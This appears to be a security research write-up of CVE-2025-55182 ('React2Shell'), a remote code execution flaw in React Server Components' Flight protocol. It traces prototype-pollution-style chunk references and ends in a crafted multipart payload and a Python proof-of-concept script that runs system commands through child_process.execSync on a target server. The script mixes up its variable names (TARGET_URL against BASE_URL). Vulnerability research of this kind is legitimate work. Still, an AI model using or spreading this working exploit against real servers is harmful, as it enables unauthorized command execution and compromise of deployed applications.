26/01/26

React2Shell | CVE-2025-55182

Security Research: React Server-Side Rendering Vulnerability

بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

React2Shell | CVE-2025-55182

(Important) One of the methods to create a function in JS is function constructor

create_function.js
1var func1 = Function() 2var func2 = Function(<function-code>) 3var func3 = Function(<param>,<code>)

Note: These functions considered as anonymous functions so save it in a variable and call it

The prototype represent the shape of the object (properties, functions, parameters …etc.)

React2Shell | CVE-2025-55182

we can use __proto__ to call a specific functions inside this shape

call_apply.js
1var obj = {} 2obj.__proto__.toString() 3alert.__proto__.toString()

We can call the constructor

call_apply.js
1alert.__proto__.constructor // ==> Function() which is a function constructor

We can get the Function constructor but from object (Obj → Prototype → Function → Construstor)

alert1.js
1var x = {} 2var func7 = x.__proto__.toString.constructor("alert()")

the constructor also considered as function

alert2.js
1var x = {} 2var func7 = x.__proto__.constructor.constructor("alert()")
Home page

First suspection part: Flight Protocol which make the data represented as chunks

And we can reference data from another chunk using the '$' sign

alert2.js
1files = { 2 "0": (None, '["$1"]'), // $1 -> means get the data in the chunck 1 3 "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), // Go to chunck 2 and get the property fruitName from it 4 "2": (None, '{"fruitName":"cherry"}'), 5}
OUTPUT
1{ object: 'fruit', name: 'cherry' }

The problem is there’s no check on the referencing of this chunks, which means we can refer to anything we want (That’s the problem!)

So, we can create a function constructor inside the chunks by calling any function's constructor inside the prototype

function_constructor2.js
1files = { 2 "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'), 3 "1": (None, '{"x":1}'), 4}
Which means:
function_constructor2.js
1files= { 2 "0": (None, '{"then":"{"x":1}:__proto__:constructor:constructor"}'), 3}
Which means:
function_constructor2.js
1{"x":1}.__proto__.constructor.constructor
OUTPUT: Which means:
OUTPUT
1[Function: Function]

Now, we need to:

  • Call this function
  • Inject a code inside it

We've noticed in a file called action-handler.ts that the chunks are taken with await keyword and return the value without any checks, so to use this, we will create the function as a Thenable function

Home page
Home page

To Create it as thenable function we need to access the then property of the function constructor or access it from the prototype directly.

thenable.js
1files = { 2 "0": (None, '{"then":"$1:__proto__:then"}'), 3 "1": (None, '{"x":1}'), 4}

But if we go more inside, we will notice in the following code snippet we need to thenable to the whole chunk object not just its data

Home page

So, we will use another shape of referring, we will '$@' sign to refer to the chunk object itself, not just its data

thenable.js
1files = { 2 "0" : (None, "{'then':'$1:__proto__:then'}"), 3 "1" : (None, "$@0") 4}
which means:
thenable.js
1Chunk.__proto__.then = function(resolve, reject) { 2 // Code Injection Vuln. 3}

To get inside the interesting function that we hightlighted in the previous screen shot we should make status value be "resolved_model"

thenable.js
1files = { 2 "0" : (None, "{'then':'$1:__proto__:then', 'status':'resolved_model'}"), 3 "1" : (None, "$@0") 4}
thenable.js
1Chunk.__proto__.then = function(resolve, reject, 'status' == 'resolved_model') { 2 // Code Injection Vuln. 3}

Now, we created the function and make it called, and we are inside the vulnerable function `initializeModelChunk` that we want to exploit.

All we need now is to override this function to inject our payload that will leads to RCE

initializeModelChunk.js
1function initializeModelChunk(chunk) { 2 // ... 3 var rawModel = JSON.parse(resolvedModel), 4 value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference); 5 // ... 6}

So, the vulnerable function take a property from 'chunk' called _response and pass it modelRevive function

reviveModel.js
1case "B": 2 return ( 3 (obj = parseInt(value.slice(2), 16)), 4 response._formData.get(response._prefix + obj) 5 );

Inside the function, there's a get function that we will override and take a _perfix proprty from the _response object and case 'B'

So, The Complete Payload steps

  • Referr to the chunk object itself using '$@'
  • Create a function constructor inside the chunk
  • Make it thenable to be called and set status as "resolved_model"
  • Edit the _response object to inject our payload
  • Override the get function to make function constructor which will take the _perfix property from us
  • Make the _perfix property a System command code
RCE.js
1crafted_chunk = { 2 "then": "$1:__proto__:then", 3 "status": "resolved_model", 4 "reason": -1, 5 "value": '{"then": "$B0"}', 6 "_response": { 7 "_prefix": f"process.mainModule.require('child_process').execSync('calc');", 8 "_formData": { 9 "get": "$1:constructor:constructor", 10 }, 11 }, 12} 13 14files = { 15 "0": (None, json.dumps(crafted_chunk)), 16 "1": (None, '"$@0"'), 17}

You can use the following python script as a PoC:

React2Shell.py
1 2import requests 3import sys 4import json 5 6TARGET_URL = "http://localhost:3000" 7COMMAND = "id" 8 9crafted_chunk = { 10 "then": "$1:__proto__:then", 11 "status": "resolved_model", 12 "reason": -1, 13 "value": '{"then": "$B0"}', 14 "_response": { 15 "_prefix": f"var res = process.mainModule.require('child_process').execSync('{COMMAND}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:${res}}});", 16 "_formData": { 17 "get": "$1:constructor:constructor", 18 }, 19 }, 20} 21 22files = { 23 "0": (None, json.dumps(crafted_chunk)), 24 "1": (None, '"$@0"'), 25} 26 27headers = {"Next-Action": "x"} 28res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) 29print(res.status_code) 30print(res.text)